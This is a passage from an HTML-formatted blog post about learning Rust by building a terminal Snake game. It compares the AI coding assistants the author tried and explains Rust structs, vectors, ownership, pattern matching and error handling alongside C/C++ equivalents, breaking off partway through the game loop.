      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;DeepSeek R1 Distill 8B&lt;/td&gt;
          &lt;td&gt;✔️✔️&lt;/td&gt;
          &lt;td&gt;✔️✔️&lt;/td&gt;
          &lt;td&gt;✔️✔️&lt;/td&gt;
          &lt;td&gt;Limited understanding of Rust&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;GPT 4o&lt;/td&gt;
          &lt;td&gt;✔️✔️✔️✔️✔️&lt;/td&gt;
          &lt;td&gt;✔️✔️✔️✔️✔️&lt;/td&gt;
          &lt;td&gt;✔️✔️✔️✔️✔️&lt;/td&gt;
          &lt;td&gt;Comprehensive assistance throughout&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Of course, it is not an apples-to-apples comparison. Each started well but then quickly went downhill for various reasons. The only awesome one I finally ended up using all the way through was GPT4o.&lt;/p&gt;
&lt;h4 id=&#34;12-why-rust&#34;&gt;1.2. Why Rust?&lt;/h4&gt;
&lt;p&gt;Rust is designed to be a systems-level language with modern features. It eliminates common pitfalls like memory safety issues without compromising performance. As someone familiar with C and C++, I think this seems like a natural progression.&lt;/p&gt;
&lt;h3 id=&#34;2-the-snake-game-project&#34;&gt;2. The Snake Game Project&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   /^\\/^\\
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  / o   o \\
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; (    ^    )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  \\_______/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   |     |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   |     |&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/ascii-text-art.jpg&#34; alt=&#34;Rust Snake&#34;/&gt;
        &lt;figcaption&gt;Rusty Snake&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;The nostalgic, classic snake game provides a perfect playground for learning Rust’s syntax, constructs, and libraries. For the game, I started with the basic game but then soon added other things - I wanted to give the player a choice on the size of the play area (measured in number of characters as the rendering is in ASCII) and speed.&lt;/p&gt;
&lt;p&gt;A crate in Rust is a collection of related code akin to a library in C++ or a module in Python. The project imports the following crates for different functionalities needed: &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;crossterm&lt;/code&gt;&lt;/strong&gt;: For terminal UI and input handling.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;rand&lt;/code&gt;&lt;/strong&gt;: For generating random numbers (e.g., food placement).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let us walk through some key implementation parts and draw parallels to C and C++ for easier comprehension.&lt;/p&gt;
&lt;h3 id=&#34;3-key-concepts-in-the-code&#34;&gt;3. Key Concepts in the Code&lt;/h3&gt;
&lt;h4 id=&#34;31-structs-rusts-version-of-struct-in-c&#34;&gt;3.1 Structs: Rust’s Version of &lt;code&gt;struct&lt;/code&gt; in C&lt;/h4&gt;
&lt;p&gt;Rust’s &lt;code&gt;struct&lt;/code&gt; is similar to &lt;code&gt;struct&lt;/code&gt; in C and C++ but with additional safety and functionality. Here’s how we define a &lt;code&gt;Point&lt;/code&gt; struct to represent 2D coordinates:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[derive(Debug, Clone, PartialEq)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;Point&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    x: &lt;span style=&#34;color:#ed8796&#34;&gt;i32&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    y: &lt;span style=&#34;color:#ed8796&#34;&gt;i32&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Parallel in C/C++&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;Point&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; x;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; y;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In Rust, &lt;code&gt;#[derive(...)]&lt;/code&gt; automatically implements traits like &lt;code&gt;Debug&lt;/code&gt; (for debugging), &lt;code&gt;Clone&lt;/code&gt; (for copying), and &lt;code&gt;PartialEq&lt;/code&gt; (for comparisons).&lt;/p&gt;
&lt;h4 id=&#34;32-vectors-vect-dynamic-arrays&#34;&gt;3.2 Vectors &lt;code&gt;Vec&amp;lt;T&amp;gt;&lt;/code&gt;): Dynamic Arrays&lt;/h4&gt;
&lt;p&gt;Rust uses &lt;code&gt;Vec&amp;lt;T&amp;gt;&lt;/code&gt; for dynamically-sized arrays, similar to &lt;code&gt;std::vector&lt;/code&gt; in C++.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;mut&lt;/span&gt; snake &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;vec!&lt;/span&gt;[Point { x: &lt;span style=&#34;color:#eed49f&#34;&gt;width&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;, y: &lt;span style=&#34;color:#eed49f&#34;&gt;height&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt; }];&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Parallel in C++&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;std&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;vector&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt;Point&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; snake &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; { Point{width &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;, height &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;} };&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Unlike C++, Rust ensures safety with bounds checking and ownership rules.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;33-ownership-and-borrowing&#34;&gt;3.3 &lt;strong&gt;Ownership and Borrowing&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Rust’s ownership model ensures memory safety without a garbage collector. When working with &lt;code&gt;snake&lt;/code&gt;, you own or borrow the data.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;mut&lt;/span&gt; new_head &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; snake.last().unwrap().clone();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here, &lt;code&gt;.clone()&lt;/code&gt; creates a deep copy of the last element to avoid ownership issues.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Parallel in C++&lt;/strong&gt;: Copying would be explicit but lacks ownership enforcement:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Point new_head &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; snake.back();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id=&#34;34-enums-and-pattern-matching&#34;&gt;3.4 &lt;strong&gt;Enums and Pattern Matching&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Rust’s pattern matching with &lt;code&gt;match&lt;/code&gt; is more expressive than a &lt;code&gt;switch&lt;/code&gt; statement in C++.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;match&lt;/span&gt; key_event.code {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    KeyCode::Up &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; direction.y &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&amp;gt;&lt;/span&gt; next_direction &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; Point { x: &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, y: &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    KeyCode::Down &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; direction.y &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&amp;gt;&lt;/span&gt; next_direction &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; Point { x: &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, y: &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    _ &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&amp;gt;&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Parallel in C++&lt;/strong&gt;:
A &lt;code&gt;switch&lt;/code&gt; with additional &lt;code&gt;if&lt;/code&gt; conditions might approximate this but would lack the same level of elegance.&lt;/p&gt;
&lt;h4 id=&#34;35-error-handling&#34;&gt;3.5 &lt;strong&gt;Error Handling&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Rust avoids exceptions by using the &lt;code&gt;Result&lt;/code&gt; type for error handling, relying on explicit and predictable control flow to manage errors. This differs from other languages and ensures errors are handled explicitly rather than relying on potentially disruptive exception mechanisms, which can lead to unwieldy codebases in large systems.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;main&lt;/span&gt;() -&amp;gt; &lt;span style=&#34;color:#eed49f&#34;&gt;crossterm&lt;/span&gt;::&lt;span style=&#34;color:#91d7e3&#34;&gt;Result&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt;()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    terminal::enable_raw_mode()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;?&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;..&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    terminal::disable_raw_mode()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;?&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;Ok&lt;/span&gt;(())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;?&lt;/code&gt; operator propagates errors automatically, akin to C++&amp;rsquo;s &lt;code&gt;std::optional&lt;/code&gt; or manual error handling:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!&lt;/span&gt;enable_raw_mode()) &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id=&#34;36-functional-features&#34;&gt;3.6 &lt;strong&gt;Functional Features&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Rust’s iterators and closures make code concise and expressive. For instance, generating random food coordinates:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;let&lt;/span&gt; new_food &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; Point {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    x: &lt;span style=&#34;color:#eed49f&#34;&gt;rng&lt;/span&gt;.gen_range(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;..&lt;/span&gt;width &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    y: &lt;span style=&#34;color:#eed49f&#34;&gt;rng&lt;/span&gt;.gen_range(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;..&lt;/span&gt;height &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Parallel in C++&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Point new_food &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; { rand() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;%&lt;/span&gt; (width &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, rand() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;%&lt;/span&gt; (height &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt; };&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Rust’s range syntax and &lt;code&gt;rand&lt;/code&gt; crate simplify random number generation.&lt;/p&gt;
&lt;h3 id=&#34;4-code&#34;&gt;4. Code&lt;/h3&gt;
&lt;p&gt;The complete source code for this project is available on GitHub:
&lt;a
	
		href = &#34;https://github.com/bahree/rustysnake&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://github.com/bahree/rustysnake
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The game loop handles input, updates the snake&amp;rsquo;s position, checks for collisions, and renders the game state. The &lt;code&gt;crossterm&lt;/code&gt; library provides a simple way to handle keyboard input and terminal rendering.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;loop&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Handle input
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; crossterm::event::poll(Duration::from_millis(game_speed))&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;?&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;let&lt;/span&gt; Event::Key(key_event) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; event::read()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;?&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;match&lt;/span&gt; key_event.code {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                KeyCode::Char(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;q&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;break&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                KeyCode::Up &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; direction.y &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&amp;gt;&lt;/span&gt; direction &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; Point { x: &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, y: &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                KeyCode::Down &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; direction.y &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&amp;gt;&lt;/span&gt; direction &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; Point { x: &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, y: &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                KeyCode::Left &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; direction.x &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&amp;gt;&lt;/span&gt; direction &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; Point { x: &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, y: &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                KeyCode::Right &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; direction.x &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&amp;gt;&lt;/span&gt; direction &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; Point { x: &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, y: &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                _ &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&amp;gt;&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Update snake position
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;let&lt;/span&gt; new_head &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; Point {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        x: (snake[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;].x &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; direction.x &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; width) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;%&lt;/span&gt; width,
